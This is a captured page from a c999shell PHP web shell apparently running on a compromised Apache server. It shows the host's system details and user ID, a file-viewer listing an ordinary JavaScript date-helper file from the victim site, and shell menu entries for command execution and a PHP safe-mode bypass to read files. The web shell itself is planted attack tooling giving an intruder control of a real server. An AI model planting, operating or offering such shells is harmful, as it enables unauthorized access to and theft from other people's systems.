Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/mis2222/js/ drwxr-xr-x |
Viewing file: Select action/file-type: function sendRequest(el) { var silentId = document.getElementById("silent"); var innerTag = ""; if(silentId && el && el.href) { var uri = el.href.split("?"); var cnt = null; var pair = null; if(uri[1]) { cnt = uri[1].split("&"); for(var i = 0; i < cnt.length; i++) { pair = cnt[i].split("="); innerTag += ""; } silentId.action = uri[0]; silentId.innerHTML = innerTag; setTimeout("document.forms['silent'].submit()", 100); } } return false; } function futureDayJS(dateVar, numDay) { var inputDate = dateVar.split("/"); var dateObj = new Date(inputDate[2], inputDate[1]-1, inputDate[0], 01, 01, 01, 01); var futureDay = new Date(Date.parse(dateObj) + (numDay * 24 * 60 * 60 * 1000)); var str = "0"; var dd = String(futureDay.getDate()); var mm = String(futureDay.getMonth() + 1); if(dd.length < 2) dd = str.concat(dd); if(mm > 12) mm = 12; if(mm.length < 2) mm = str.concat(mm); return dd+"/"+mm+"/"+futureDay.getFullYear(); } function checkWeekDayJS(dateVar, weekDayVar) { var inputDate = dateVar.split("/"); if(typeof(inputDate[2]) != "undefined") { //new Date(year, month, day, hours, minutes, seconds, milliseconds) dateObj = new Date(inputDate[2], inputDate[1]-1, inputDate[0], 01, 01, 01, 01); if(dateObj.getDay() == weekDayVar) return true; else return false; } return false; } function isDate (dd, mm, yy, msg) { if((mm==4 || mm==6 || mm==9 || mm==11) && dd==31) { alert(msg); return false; } if(mm==2) { var isLeap = (yy % 4 == 0 && (yy % 100 != 0 || yy % 400 == 0)); if (dd > 29 || (dd==29 && !isLeap)) { alert(msg); return false; } } return true; } function autotab(original, destination){ if (original.getAttribute && original.value.length==original.getAttribute("maxlength")) destination.focus(); } function diff2Dates(f) { var date1 = f.startDate.value.split("-"); var date2 = f.endDate.value.split("-"); //Set the two dates date1 = new Date(eval(date1[2]), eval(date1[1]-1), eval(date1[0])); date2 = new Date(eval(date2[2]), eval(date2[1]-1), eval(date2[0])); //Month is 0-11 in JavaScript //Set 1 day in milliseconds var one_day = 1000*60*60*24; //Calculate difference btw the two dates, and convert to days var diff = Math.ceil((date2.getTime()-date1.getTime())/(one_day)); if(diff < 0) { alert("วันที่ไม่สัมพันธ์กัน"); return false; } f.dayAmount.value = diff+1; } function doCheckAll(form,do_check){ for (var i=0; i |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]-- |